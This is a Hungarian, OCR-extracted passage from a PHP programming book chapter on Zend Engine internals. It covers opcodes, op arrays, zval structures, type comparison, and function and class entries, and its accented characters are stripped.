A legtbb amerikaihoz hasonlan n is autval jrok munkba. Ismerem jrmvem alapvet kpessgeit. Tudom, milyen gyorsan kpes haladni, milyen ers a fkje s milyen sebessggel rzem mg biztonsgosnak a kanyarok bevtelt. Azt is tudom, hogy az olajat 5000 kilomterenknt cserlni kell, s rendszeresen ellenrizni a kerknyomst. Szorult helyzetben magam is megoldom az olajcsert, de jobb szeretem szakemberre bzni. Fizikarkrl megmaradt emlkeimbl kpes vagyok felidzni, ltalnossgban hogy mkdik egy bels gs motor, de arrl mr fogalmam sincs, mi trtnik mondjuk egy turbfeltltben. Persze ezzel semmi gond nincs, hiszen n egy egyszer rvezet vagyok, csak A pontbl szeretnk eljutni B-be. Az autm nem versenyaut, s n sem vagyok autversenyz. Ezzel szemben az autversenyzk rengeteget tudnak autjuk mkdsrl. Tudsuk mg akkor is rtkes lehet, ha egy seregnyi szakrt biztostja szmukra a mszaki htteret, hiszen gy kzelebb juthatnak az aut teljestkpessgnek hatrig, s a terepen kpesek rtkelni a kocsi mkdst, jelezve, ha valamilyen belltsra van szksg. Az autzsban ugyan szeld, htkznapi ember vagyok, webhelyeim esetben azonban inkbb hasonltok autversenyzre, mint egyszer htkznapi autsra. Ezek nagy forgalm webhelyek, melyeknl mg apr teljestmnybeli eltrsek is komoly anyagi megterhelst jelenthetnek. Mivel nem htkznapi felhasznl vagyok, nem elgedhetek meg a PHP htkznapi ismeretvel. A PHP felptsnek tltsa nem felttlenl szksges ahhoz, hogy valakibl nagyszer PHP programoz vljon, de nhny dologban segtsgnkre lehet: Knnyebben hozhatunk dntseket az alkalmazsok szerkezetrl a PHP erssgei s gyenge pontjai ismeretben. Gyorsan felfedezhetjk s kijavthatjuk a PHP kisebb hibit. Megrthetjk, hol s hogyan rdemes bvtmnyeket alkalmaznunk. Megrthetjk a motor klnbz rszeinek mkdst.

516

PHP fejleszts felsfokon

Fejezetnk a PHP s a Zend Engine mkdsnek elmleti ttekintst adja. Jelenleg azonban nem ksztnk egyetlen bvtmnyt sem - erre szolgl majd a kvetkez kt fejezet, melyek ptenek itt megszerzett tudsunkra. A fejezet megrtshez nincs felttlenl szksg a C programozsi nyelv ismeretre, br htrnynak semmikppen sem mondhat, hiszen a motor rengeteg bels kdrszlett C-ben mutatjuk be.

A Zend Engine mkdse: opkdok s optmbk


A Zend Engine az albbi lpsekben hajtja vgre a programokat: 1. A program thalad egy lexikai elemzn, ami az emberi olvassra alkalmas kdot gp ltal rtelmezhet jelekk alaktja. Ezek a jelek kerlnek t az rtelmezhz. 2. Az rtelmez fogadja a jelek folyamt a lexikai elemztl, s egy utastssorozatot {kztes kdot) kszt belle, melyet a Zend Engine megrt. A Zend Engine egy virtulis gp, amely gpi kd jelleg, hromcmes utastskdokat fogad, s hajt vgre. Sok rtelmez egy elvont nyelvtani ft (szintaxisft) kszt, amely mdosthat, illetve optimalizlhat, mieltt a kdelllthoz kerlne. A Zend Engine rtelmez e lpseket egyestve lltja el a kztes kdot a lexikai elemztl kapott jelekbl.

Mi az, hogy virtulis gp?

A Zend Engine virtulis gp, vagyis olyan program, ami egy szmtgpet utnoz. Az olyan nyelvekben, mint a Java, a virtulis gp lehetv teszi a kd hordozhatsgt, gy az egyik gpen lefordtott bjtkdot futtathatjuk a msikon. A Zend Engine beptetten nem tmogatja az elfordtott programok rtelmezst - a virtulis gp viszont rugalmass teszi a PHP-t. Az x86 sorozat processzorok (valsznleg sajt gpnkben is egy ilyen ketyeg) 75 alapmveletvel szemben a Zend Engine csaknem 150 alapmveletet (a Zend szhasznlata szerint opkdoi) tmogat. Ezek kztt a virtulis gpek jellemz utastsai - pldul logikai s matematikai mveletek - mellett sszetettebb mveleteket is tallhatunk, gy egyetlen utasts felel meg az include () hvsnak vagy egy karakterlnc kirsnak. A virtulis gpek mindig lassabbak, mint gazdaszmtgpk, gy az sszetett mveletek egy utastss olvasztsa jelents sebessgnvel tnyez lehet. Ezt az ltalnos mdszert CISC-nek (Complex Instruction Set Computer - sszetett utastskszlet gp) hvjk, szemben a RISC-kel (Reduced Instruction Set Computer - cskkentett utastskszlet gp), ami kifejezetten kevs utastsra tmaszkodik - ezeket azonban igen gyorsan kpes vgrehajtani.

20. fejezet A PHP s a Zend Engine titkai

517

Annak a szemszgbl, aki PHP bvtmnyt kszt, vagy a PHP-t egy alkalmazsba kvnja begyazni, mindez egyetlen lpst jelent: a fordtst. Vagyis: a fordts a programkdbl kztes kdot llt el. Az eredmny, amelyet a Zend virtulis gp gpi kdjnak tekinthetnk, (tbb-kevsb) gpfggetlen. A kztes kd utastsokbl {mveleti kdok vagy opkdok, az angol operation code"-bl) ll rendezett tmb (mveleti tmb vagy optmb), melynek elemei alapjban hromcmes kdok: kt tnyez (operandus) a bemenet, egy pedig a kimenet szmra, valamint a tnyezket feldolgoz kezel. A tnyezk lehetnek llandk (statikus rtkek), vagy tartalmazhatjk egy tmeneti vltoz cmt, ami lnyegben a Zend virtulis gp egy regiszternek felel meg. Bonyolultabb esetben az opkdok a program folysnak szablyozsra is alkalmasak, mdostva az optmbbeli helyzetet ciklusok, illetve felttelek esetben. 3. Miutn elkszlt a kztes kd, tkerl a vgrehajthoz. Ez vgighalad a tmbn, s egyms utn vgrehajtja az utastsokat. A fordtst s a vgrehajtst a Zend Engine-ben kt kln fggvny vgzi: a zend_com~ pile s a zend_execute. Belsleg mindketten fggvnymutatknt jelennek meg, ami azt jelenti, hogy a bvtmnyekben mindkt lpst fellrhatjuk futsidben. (Hogy mirt s miknt tehetjk meg ezt, azt a ksbbiekben lthatjuk majd.) rdemes megnznnk az albbi programhoz tartoz kztes kdot:
<?php $hi = 'hello'; ech $hi; ?> opnum 0 1 2 3 4 line 2 2 3 3 5 opcode ZEND_FETCH_W ZEND_ASSIGN ZEND_FETCH_R ZEND_ECHO ZEND_RETURN opl "hi" '0 "hi" '2 1 op2 result '0 "hello"'0 '2

Megjegyzs

A fejezetben szerepl kztes kdokat az op_dumper segtsgvel rtuk ki, melyet a 23- fejezetben egy plda formjban teljes egszben meg is valstunk. Driek Rethans VLD-je, melyet a http: //www.derickrethans .nl/vld.php cmen tallhatunk meg, szintn kpes e feladat vgrehajtsra.

518

PHP fejleszts felsfokon

Lssuk, mi zajlik a programban: 0. opkd - Els lpsben a 0. regiszterbl egy mutatt ksztnk, ami a $hi vltozra mutat. Ezutn a ZEND_FETCH_W mveletet alkalmazzuk, mivel egy vltozhoz kell valamit hozzrendelni (a w a write, vagyis rs sz rvidtse). 1. opkd - A ZEND_ASSIGN kezel hozzrendeli a hello rtket a 0. regiszterhez (vagyis a $hi vltozra irnyul mutathoz). Az 1. regiszterhez szintn hozzrendelnk egy rtket, de most nem hasznljuk. R olyankor van szksg, ha a hozzrendelst az albbihoz hasonl kifejezsben vgezzk: if($hi = ' h e l l o' ){} 2. opkd - Itt jra kiolvassuk a $hi rtkt, ezttal a 2. regiszterbe. Ezt a ZEND_FETCH_R segtsgvel tesszk meg, mivel csak olvasni fogjuk (R = red, vagyis olvass). 3. opkd - A ZEND_ECH0 kirja a 2. regiszter tartalmt (pontosabban elkldi a kimeneti tmeneti trolhoz) Az ech (valamint megfelelje, a print) a PHP beptett mveletei, ellenttben a fggvnyekkel, amelyeket meg kell hvni. 4. opkd - A ZEND_RETURN l-re lltja a program visszatrsi rtkt. Jllehet a return-t nem hvtuk meg, minden programban megjelenik rejtve a return 1, amennyiben ms rtket nem adunk vissza. Lssunk most egy kiss sszetettebb pldt: <?php $hi = 'hello';
ech strtoupper($hi); ?>

A kztes kd hasonlan fest az elzhz: opnum


0 1 2 3 4 5 6

lne

opcode

opl

op2
'0

result
"hi"'0 "hello"'0 "hi"' 2 '2 '3 '3 1

2 ZEND_FETCH_W 2 ZEND_ASSIGN 3 ZEND_FETCH_R 3 ZEND_SEND_VAR 3ZEND_DO_FCALL "strtoupper" 3 ZEND_ECHO 5 ZEND_RETURN

Figyeljk meg a klnbsgeket a kt program kztt: 3. opkd - A ZEND_SEND_VAR mvelet egy, a 2. regiszterre irnyul mutatt ($hi vltoz) helyez a paramterverembe. Ezen keresztl juthatnak hozz a fggvnyek paramtereikhez. Mivel itt egy bels fggvny hvsrl van sz (amit C-ben, nem pedig PHP-ben rtak), mkdse teljessggel rejtett a PHP ell. Ksbb ltjuk majd, miknt fogadjk paramtereiket a felhasznli fggvnyek.

20. fejezet A PHP s a Zend Engine titkai

519

4. opkd - A ZEND_DO_FCALL meghvja az strtoupper fggvnyt, s jelzi, hogy az eredmnyt a 3- regiszterben vrja. Kvetkezzk most egy plda, amely egy igen egyszer folyamatvezrlst is tartalmaz:

Figyeljk meg, hogy a feltteles elgazsi pontot a ZEND_JMPZ utasts valstja meg (itt dntnk a ciklus vgi ugrsrl - megnzve, hogy elrte-e a $i az 5 rtket), magt az ugrst a ciklus elejre - az jabb felttelvizsglathoz - pedig a ZEND_JMP. Vegyk szre a kvetkezket a fenti pldkban: Hat regisztert foglaltunk le s hasznltunk a legutbbi kdban, jllehet egyszerre kettnl tbbet soha nem vettnk ignybe. A regiszterek jrahasznostsa nem jelenik meg a PHP-ben, gy nagy programokban akr tbb ezer regisztert is lefoglalhatnak. A kdban nem trtnt igazi optimalizls. Ezt az is jl mutatja, hogy az utlagos nvelst...
$i++;

...elzetess is trhatjuk:
+ + $i;

Ezt azrt tehetjk meg, mert a program res krnyezetben hasznlja (vagyis nem szerepel olyan kifejezsben, ahol a $i elz rtkre szksg volna). Mindezzel egy rtk regiszterbeli trolst takarthatjuk meg. Az ugrs sora nem jelenik meg a kirt kdban - ez valjban a megjelent program hibja. Mindazonltal, a Zend Engine nhny bels hasznlat utastst nem hasznltknt jell meg.

520

PHP fejleszts felsfokon

Mieltt tovbbhaladnnk, nzznk meg mg egy igen fontos pldt. A korbbiakban lthattuk, miknt vgzi a rendszer egy beptett fggvny (nevezetesen az strtoupper) hvsnak kezelst. A PHP-ben rt fggvnyek hvsa sem tr el ettl sokban:
<?php function hello($name) { ech "hello\n"; } hello("George") ; ?> opnum 0 1 2 3 line 2 5 5 7 opcode ZEND_NOP ZEND_SEND_VAL ZEND_DO_FCALL ZEND_RETURN opl op2 result "George" "hello"'0 1

De hol a fggvnykd? Ez a kd egyszeren belltja a parmtervermet (a ZEND_SEND_VAL segtsgvel), majd meghvja a hello fggvnyt - de magt a fggvnykdot nem talljuk. Ennek oka az, hogy a PHP-ben a fggvnyek maguk is optmbk, mintha csak kis programok lennnek. me pldaknt a hello fggvnyhez tartoz optmb:
FUNCTION: hello opnum line 0 2 1 2 2 3 3 4

opcode ZEND_FETCH_W ZEND_RECV ZEND_ECHO ZEND_RETURN

opl "name" 1

op2

result '0 '0 "hello%0A" NULL

Ez meglehetsen hasonl a korbban ltottakhoz - az egyetlen klnbsg a ZEND_RECV, amely a paramterverembl olvas. Az nll programokhoz hasonlan - jllehet magunk nem hatrozunk meg visszatrsi rtket - a ZEND_RETURN bekerl a kdba, s a NULL rtkkel tr vissza. A beemelt fjlok hvsa is hasonlkppen zajlik:
<?php include("fil.inc"); ?> opnum 0 1 line 2 4 opcode opl ZEND_INCLUDE_OR_EVAL "fil.inc" ZEND_RETURN 1 op2 result '0

20. fejezet A PHP s a Zend Engine titkai

521

Mindez a PHP egy fontos tulajdonsgt mutatja: Minden beemels futsidben trtnik, gy, amikor a rendszer elszr rtelmezi a programot, elkszti az ehhez tartoz optmbt, s minden, a legfels szint fjlban meghatrozott fggvnyt, illetve osztlyt (amelyik valjban fut) elhelyez a szimblumtblban; a beemelend programllomnyokat viszont mg nem rtelmezi. Ha a programot vgrehajtjuk, s a rendszer tall egy include utastst, azt ott helyben rtelmezi s vgrehajtja. A 20.1. bra egy egyszer PHP program futst mutatja be.

20.1. bra

A PHP programok futtatsi folyamata.

522

PHP fejleszts felsfokon

E mkdsi md az albbi hozadkokkal jr: Rugalmassg - A PHP gyakran dicsrt jellemzje, hogy futsidej nyelv. Ennek egyik fontos kvetkezmnye, hogy lehetv teszi fjlok feltteles beemelst, illetve fggvnyek s osztlyok feltteles bevezetst. me egy plda:
if($condition) { include("filel.inc"); } else { include("file2.inc"); }

Pldnk mkdst a beemelend fjlok futsidej rtelmezse teszi hatkonyabb (mivel csak akkor trtnik meg a fjlok beemelse, ha tnyleg szksg van rjuk), emellett pedig megkml a szimblumok tkzstl, amennyiben a kt fjl ugyanannak a fggvnynek vagy osztlynak kt klnbz megvalstst tartalmazza. Sebessg - A beemelt fjok futs kzben trtn fordtsa azt eredmnyezi, hogy a program futsidejnek jelents rszt ezek fordtsa teszi ki. Ha egy fjlt ktszer emelnk be, ktszer kell lefordtani s vgrehajtani. Az include_once s a require_once rszben orvosolja a gondokat, de a helyzetet tovbb slyosbtja, hogy a PHP visszalltja a fordt llapott a programok futtatsa kztt. (Hamarosan szlunk arrl, miknt cskkenthetjk ennek hatst.)

Vltozk
A vltozk bevezetsnek (deklarlsnak) mdja szerint a programnyelvek kt csoportra oszthatk: Statikus tpusokra pl nyelvek - A statikus nyelvek - mint a C++ vagy a Java - esetben minden vltoz kap egy tpust (ilyen pldul az int vagy a String), amely vltozatlan marad a fordts sorn. Dinamikus tpusokra pl nyelvek - A dinamikus nyelvek - mint a PHP, a Perl, a Python vagy a VBScript - esetben a tpusok meghatrozsa automatikusan trtnik futsidben. Tegyk fel, hogy az albbi kdsort hasznljuk: $variable = 0; Ekkor a PHP automatikusan integer tpus vltozt hoz ltre. Van mg kt tovbbi tulajdonsg, melyek a tpusok kiknyszertsre s talaktsra vonatkoznak: Ers tpusossg - Az ersen tpusos nyelvekben, ha egy kifejezs nem megfelel tpus paramtert kap, hibt vlt ki. A statikus nyelvek egyttal ersen tpusosak is (br egyesek lehetv teszik a tpusknyszertst). Egyes dinamikus nyelvek, mint

20. fejezet A PHP s a Zend Engine titkai

523

a Python vagy a Ruby, szintn ersen tpusosak; ezekben kivtel keletkezik, ha a vltoz nem megfelel krnyezetbe kerl. Gyenge tpusossg - A gyengn tpusos nyelvek nem felttlenl knyszertik ki a tpusokat. Ezt a tulajdonsgot gyakran ksri a tpusok automatikus talaktsa a krnyezet ignyeinek megfelelen. Vegyk pldul az albbi kifejezst: $string = "The value of \$variable is $variable."; Itt a $variable (amely els rtkadsnl automatikusan egsz tpus lett) automatikusan karakterlncc vltozik, hiszen csak gy vehet rszt a $string felptsben. A fenti tulajdonsgok mindegyike egyarnt jr elnykkel s htrnyokkal. A statikus tpusok lehetv tesznek bizonyos fok adatrvnyessg-ellenrzst a fordts sorn. Ugyanezen okbl a dinamikus nyelvek ltalban lassabbak statikus trsaiknl. Elnyk viszont, hogy rugalmasabbak - ppen ez az oka annak, hogy a legtbb rtelmezett nyelv ezt a mdszert vlasztja. Az ers tpusossg szintn egytt jr az rvnyessg vizsglatval, de futsidben. A gyenge tpusossg ellenben rugalmassgot biztost a tpusok kztti automatikus talakts lehetsgvel. Az rtelmezett nyelvek megoszlanak e kt mdszer kztt. A Python s a Ruby (amelyek mindketten ltalnos cl nyelvek) ersen tpusosak, mg a Perl, a PHP s a JavaScript szerzi a gyenge tpusossg mellett tettk le a voksot. A PHP dinamikus s gyengn tpusos - ez all egyetlen kivtel a fggvnyek paramtertpusnak ellenrzsi lehetsge. gy pldul a kvetkez fggvny egy User objektumot kvetel meg: function foo(User $array) { }

Ez pedig egy Exception objektumot vr:


function bar( Exception $array) {}

Az emltett objektumtpusok helyett legfeljebb azok egy leszrmazottjt vagy megvalstjt hasznlhatjuk. A PHP-ben hasznlt tpusok teljes megrtshez be kell pillantanunk a motorban hasznlt adatszerkezetek kulisszatitkaiba. A PHP-ben minden vltoz zval, melyet az albbi C adatszerkezet jelent meg... struct _zval_struct { /* vltozadatok */ zvalue_value value; zend_uint refcount; zend_uchar type; zend_uchar is_ref;
};

/* rtk */ /* aktv tpus */

524

PHP fejleszts felsfokon

...tovbb a kiegszt adattrol: typedef unin _zvalue_value { long lval; /* long rtk */ double dval; /* double rtk */ struct { char *val; int len; } str; /* string rtk*/ HashTable *ht; /* hasttbla-rtk*/ zend_object_value obj; /* ler egy objektumhoz */ } zvalue_value; A zval tartalmazza sajt rtkt (errl hamarosan szlunk), egy ref count rtket, egy tpust, valamint az is_ref jelzt. A ref count a vltozhoz tartoz hivatkozsszmll. Amikor j vltozt pldnyostunk, mint az albbi esetben, hivatkozsszmllja az 1 rtket kapja:
$variable = 'foo ' ;

Ha a $variable vltozrl msolatot ksztnk, az rtkhez tartoz zval hivatkozsszmllja nvekszik. Az albbi mveletet kveten a ' f oo ' -hoz tartoz zval hivatkozsszmllja 2 lesz:
$variable_copy = $variable;

Ha megvltoztatjuk a $variable rtkt, egy olyan zval tartozik majd hozz, melynek hivatkozsszmllja 1, az eredeti ' f oo ' karakterlnc hivatkozsszmllja pedig szintn l-re cskken: $variable = 'bar'; Ha egy vltoz kikerl a rendszer hatkrbl (pldul ha meghatrozsa egy fggvnyen bell van, s a program visszatr a fggvnybl), vagy ha a vltoz megsemmisl, a hozz tartoz zval hivatkozsszmllja 1-gyel cskken. Ha a ref count elri a 0-t, a szemtgyjt rendszer felszabadtja a tartalmt. A zval tpus kln figyelmet rdemel. Az ugyanis, hogy a PHP gyengn tpusos nyelv, nem jelenti azt, hogy a benne szerepl vltozk nem rendelkeznek tpussal. A zval tpus tulajdonsga megadja a zval aktulis tpust, vagyis azt, hogy a zvalue_value uni melyik elemben kell keresni az rtkt. Vgezetl, az is_ref megadja, hogy a zval valban tartalmaz-e adatokat, vagy egyszeren csak hivatkozs egy msik zval-ra.

20. fejezet A PHP s a Zend Engine titkai

525

A zvalue_value tartalmazza magt a zval rtkt. Ez a PHP alaptpusainak - hossz egszek, lebegpontos szmok, karakterlncok, hasttblk (tmbk) s objektumlerk - unija. A unin a C sszetett adattpusa, amely a lehet legkisebb trfoglals mellett kpes klnfle adattpusokat klnbz idben trolni. Ez azt jelenti, hogy rtke lehet szm, karakterlnc, tmb, vagy objektum, de egyszerre csak egyfle. Mindez eltr ms nyelvektl, mint a Perl, ahol e megjelensek egytt is elfordulhatnak (ez teszi lehetv, hogy egy vltoz teljesen msknt jelenjen meg, ha karakterlncknt, illetve ha szmknt hivatkoznak r). Ha tpust vltunk a PHP-ben (amit kzvetlenl szinte sohasem tesznk meg erre inkbb a httrben kerl sor, ha a felhasznls mdja a zval egy msik megjelenst teszi szksgess), a rendszer talaktja a zvalue_value rtket a kvnt formtumra. Ez magyarzza pldul az albbi viselkedst: $a = "00",$a += 0; ech $a; Eredmnyknt 0-t kapunk, nem pedig 00-t, mivel a tovbbi karakterek csendben eltntek, amikor a msodik sorban a $ a-bl egsz lett. A vltoztpusok fontosak az sszehasonltsoknl is. Ha kt vltozt sszehasonltunk az azonossg (===) mveleti jelvel, a rendszer sszeveti az aktv tpusukat, s ha az nem egyezik, negatv eredmnyt ad: $a = 0; $b = ' 0 ' ;
ech ($a === $b)?"Match":"Doesn't Match";

Kvetkezskppen itt az eredmny: nincs egyezs. Az egyenlsg (==) opertor hasznlata esetn az sszehasonlts a tnyezk aktv tpusra pl. Ha ezek karakterlncok vagy null rtkek, a rendszer karakterlncknt hasonltja ssze azokat; amennyiben egyikk logikai rtk, a msikat is ilyenn alaktja, s ezutn hasonltja ssze; egybknt pedig mindkettt szmm alaktja, s gy vgzi el az sszehasonltst. Jllehet az == mvelet az eredmnyre nzve szimmetrikus ($a= = $b ugyanaz, mint $b= = $a), mgsem tranzitv. Az albbi pldt Dan Cowgill hozta fel: $a = $b = $c = ech ech ech "0 " ; 0; ""; ($a == $b)?"True":"Fals"; // Igaz ($b == $c)?"True":"Fals"; // Igaz ($a == $c)?"True":"Fals"; // Hamis

526

PHP fejleszts felsfokon

A tranzitivits alapvet tulajdonsgnak tnhet az opertoralgebrban, de az == mkdsnek ismeretben megrthetjk, itt mirt nem ilyen egyszer a helyzet. me nhny plda: 0" == 0, mivel vgl mindkt szmbl egsz lesz, s a rendszer gy hasonltja ssze ket. $b == $c, mivel mindkt vltozbl egsz vlik, s a rendszer ezeket veti ssze. Mindazonltal, $a ! = $c, mivel mind a $a, mind a $c karakterlnc, s ekknt sszevetve ket nyilvn nem kapunk egyezst. A pldhoz rt megjegyzsben Dan az itt ltottakat sszevetette a Perl == s eq opertoraival, amelyek tranzitvak. (Ennek oka az, hogy mindkett rgztett tpusok kzti sszehasonltsra alkalmas.) Az == a Periben mindkt tnyezbl szmot kszt, s ezeket hasonltja ssze, mg az eq karakterlncokat llt el. A PHP == mvelete ugyanakkor nem kthet egy tpushoz, s csak akkor hozza kzs tpusra a vltozkat, ha aktv tpusuk egybknt nem azonos. Ez az oka a tranzitivits hinynak.

Fggvnyek
Az elzekben lthattuk, hogy amikor egy kdrszlet egy fggvnyt hv, feltlti a paramtervermet a ZEND_SEND_VAL segtsgvel, majd elvgzi a vgrehajtst a ZEND_DO_FCALL mvelettel. De mi is trtnik itt valjban? Ahhoz, hogy ezt megrtsk, vissza kell ugranunk az idben mg a fordts eltti llapothoz. Amikor a PHP elindul, sorra veszi a bejegyzett bvtmnyeket (mind a statikusan fordtottakat, mind azokat, amelyek a php. ini fjlban tallhatk), s bejegyzi az sszes ezekben meghatrozott fggvnyt. Ezek szerkezete valahogy gy fest:
typedef struct _zend_internal_function { /* kzs elemek */ zend_uchar type; zend_uchar *arg_types; char *function_name; zend_class_entry *scope; zend_uint fn_flags; unin _zend_function *prototype; /* kzs elemek vge */ void (*handler)(INTERNAL_FUNCTION_PARAMETERS); } zend_internal_function;

Fontos megfigyelnnk a tpust (ez mindig ZEND_INTERNAL_FUNCTION, ami azt jelenti, hogy egy C-ben rt bvtmnyfggvnyrl van sz), a fggvny nevt, valamint a kezelt. Ez utbbi egy, a fggvnyre irnyul C mutat, amely a bvtmny kdjnak rsze.

20. fejezet A PHP s a Zend Engine titkai

527

E fggvnyek bejegyzse gyakorlatilag a globlis fggvnytblba helyezsket jelenti (ez egy hasttbla, melyben a fggvnyeket troljk). A felhasznlk ltal meghatrozott fggvnyek beillesztse termszetesen a fordt feladata. Lssuk, mi trtnik, amikor a fordt (lexikai rtelmez, feldolgoz s kdelllt) az albbi fggvnnyel tallkozik:
function say_hello($name) { ech "Hello $name\n"; }

A fordt lefordtja a fggvny belseben tallhat kdot, vagyis kszt belle egy j optmbt, ltrehoz egy zend_function-t, amely ezt a tmbt tartalmazza, majd ezt beilleszti a globlis fggvnytblba, de ekkor mr ZEND_USER_FUNCTION tpussal. A zend_function felptse gy fest:
typedef unin _zend_function { zend_uchar type,struct { zend_uchar type; /* nem hasznlatos */ zend_uchar *arg_types; char *function_name; zend_class_entry *scope; zend_uint fn_flags; unin _zend_function *prototype; } common; zend_op_array op_array; zend_internal_function internal_function; } zend_function;

Ez a meghatrozs kiss furnak tnhet - megrtshez ismernnk kell a httrben lev felptst. A zend_function s a zend_internal_function vltozk jobbra egyarnt optmbket tartalmaznak. Nem azonos struct tpusok, de a common szerkezetben tallhat elemek kzsek bennk. Ez lehetv teszi, hogy biztonsgosan talakthassuk ket egymsba. A gyakorlatban ez azt jelenti, hogy amikor a ZEND_DO_FCALL vgrehajtsra kerl sor, a rendszer trolja az aktulis hatkrt, feltlti a paramtervermet, kikeresi a neve alapjn a krt fggvnyt (itt a kisbets nevet hasznlja, mivel a PHP fggvnynevei rzkenyek a kis- s nagybetk klnbsgre), s visszatr egy mutatval, amely egy zend_function tpus vltozra irnyul. Ha a fggvny tpusa ZEND_INTERNAL_FUNCTION, talakthat zend_internal_function tpusv, s vgrehajthat a bels fggvnyek vgrehajtsra alkalmas zend_execute_internal segtsgvel. Egybknt a vgrehajts eszkze

528

PHP fejleszts felsfokon

a zend_execute, melyet a programok s beemelt fjlok vgrehajtsnl is alkalmaznak. Mindez azrt mkdik, mert a felhasznli fggvnyek e szempontbl optmbknek felelnek meg. Amint azt taln ki is kvetkeztethettk a PHP fggvnyek mkdsbl, a ZEND_SEND_VAL nem helyezi el a paramter zval-jt a veremben - ehelyett lemsolja, s ezt a msolatot rakja a paramterverem tetejre. Ez azzal a kvetkezmnnyel jr, hogy - hacsak nem hivatkozs szerint adunk t egy paramtert (az objektumokon kvl) - rtknek fggvnybeli megvltoztatsa nem hat az eredeti paramterre, csak a msolatra. Ha mdostani szeretnnk az tadott paramtert, adjuk t hivatkozs szerint.

Osztlyok
Az osztlyok annyiban hasonltanak a fggvnyekhez, hogy trolsukra kln globlis szimblumtbla szolgl, de egybirnt sszetettebbek. Mg a fggvnyek hasonlak a programokhoz (ugyanazzal a mvelethalmazzal rendelkeznek), az osztlyok olyanok, mint kicsiben a teljes vgrehajtsi krnyezet. Az osztlyokat a zend_class_entry jelenti meg:
struct _zend_class_entry { char type; char *name; zend_uint name_length; struct _zend_class_entry *parent; int refcount; zend_bool constants_updated; zend_uint ce_flags; HashTable function_table; HashTable default_properties; HashTable properties_info; HashTable class_table; HashTable *static_members; HashTable constants_table; zend_function_entry *built-in_functions; unin unin unin unin unin unin _zend_function _zend_function _zend_function _zend_function _zend_function _zend_function *constructor; *destructor; *clone; *_ _get; *_ _set; *_ _call;

20. fejezet A PHP s a Zend Engine titkai

629

/* kezelk */ zend_obj ect_value (*create_obj ect) (zend_class_entry *class_type TSRMLS_DC); zend_class_entry **interfaces; zend_uint num_interfaces; char *filename; zend_uint line_start; zend_uint line_end; char *doc_coniment ; zend_uint doc_comment_len; };

A f vgrehajtsi krnyezethez hasonlan az osztlyok sajt fggvnytblval rendelkeznek a tagfggvnyeik szmra, valamint van egy llandtbljuk is. Az osztly bejegyzsben emellett szmos ms elemet tallhatunk, gy a tulajdonsgok tblit (mint a default_properties, properties_info vagy a static_members), a megvalstott felleteket, az osztly konstruktort, destruktort, klnjt s fellrhat elrsi fggvnyeit. Mindezeken tl ltezik egy create_object nev fggvnymutat, amely - amennyiben megadjk - j objektumok ltrehozsra s kezelik meghatrozsra alkalmazhat, ami lehetv teszi az objektum elrsnek rszletekbe men szablyozst. A PHP 5 egyik nagy jdonsga az objektummodell vltozsa volt. A PHP 4-ben objektum ltrehozsnl egy zval vltozt kaptunk vissza, melynek zvalue_value rtke gy festett:
typedef struct _zend_object { zend_class_entry *ce; HashTable *properties; } zend_object;

Ez azt jelenti, hogy a PHP 4 zend_obj ect vltozi nem sokkal tbbek, mint tulajdonsgok hasttbli, melyek mellett a zend_class_entry vgzi a tagfggvnyek trolst. Amennyiben objektumokat adunk t fggvnyeknek, a rendszer - ms tpusokhoz hasonlan - lemsolja azokat, s a tulajdonsgelrk hasznlatt meglehetsen esetlenl valstja meg. A PHP 5-ben az objektumokhoz tartoz zval-ok egy zend_object_value rtket tartalmaznak:
struct _zend_object_value { zend_object_handle handl; zend_object_handlers *handlers; };

530

PHP fejleszts felsfokon

A zend_object_value maga egy zend_object_handle rtket tartalmaz (ez egy egsz, amely megadja az objektum helyt a globlis objektumtrban - gyakorlatilag egy mutat magra az objektumra), valamint nhny kezelt, melyek az objektum elrst szablyozzk. Mindez alapjban megvltoztatja az objektumok kezelsnek mdjt a PHP-ben. A PHP 5ben, ha egy objektumhoz tartoz zval rtket lemsolunk (rtkadsnl vagy paramtertadsnl), a hozz tartoz adatok msolsa nem trtnik meg, mindssze egy jabb hivatkozs szletik az objektumra. Ez a viselkeds elterjedtebb eldjnl, s megfelel a Java, a Python, a Perl s ms nyelvek viselkedsnek.

Az objektumkezelk
A PHP 5-ben lehetsgnk van - a bvtsi API-ban - az objektumok s tulajdonsgaik elrsnek szablyozsra, szinte minden tren. A kezel API az albbi elrskezelket valstja meg:
typedef struct _zend_object_handlers { /* ltalnos objektumfggvnyek; */ zend_object_add_ref_t add_ref; zend_object_del_ref_t del_ref; zend_object_delete_obj_t delete_obj; zend_object_clone_obj_t clone_obj; /* egyedi objektumfggvnyek */ zend_object_read_property_t read_property; zend_obj ect_write_property_t write_property; zend_object_read_dimension_t read_dimension; zend_obj ect_write_dimension_t write_dimension; zend__object_get_property_ptr_ptr_t get_property_ptr_ptr; zend_object_get_t get; zend_object_set_t set; zend_object_has_property_t has_property; zend_object_unset_property_t unset_property; zend_object_has_dimension_t has_dimension; zend_object_unset_dimension_t unset_dimension; zend_object_get_properties_t get_properties; zend_object_get_method_t get_method; zend_object_call_method_t call_method; zend_object_get_constructor_t get_constructor; zend_object_get_class_entry_t get_class_entry; zend_object_get_class_name_t get_class_name; zend_object_compare_t compare_objects; zend_obj ect_cast_t cast_obj ect; } zend_object_handlers;

20. fejezet A PHP s a Zend Engine titkai

531

Az egyes kezelket rszletesebben trgyaljuk a 22. fejezetben, ahol valban meg is valstunk egyes bvtmnyosztlyokat. Addig elgedjnk meg annyival, hogy a kezelk nevei elg j tmutatssal szolglnak a rendeltetsket illeten. gy pldul a rendszer akkor hvja meg az add_ref kezelt, ha az objektumhoz egy hivatkozst adunk: $object2 = $object; A compare_obj ect hvsra pedig akkor kerl sor, amikor kt objektumot az is_equal mvelettel sszehasonltunk: if($object2 == $object) {}

Objektumok ltrehozsa
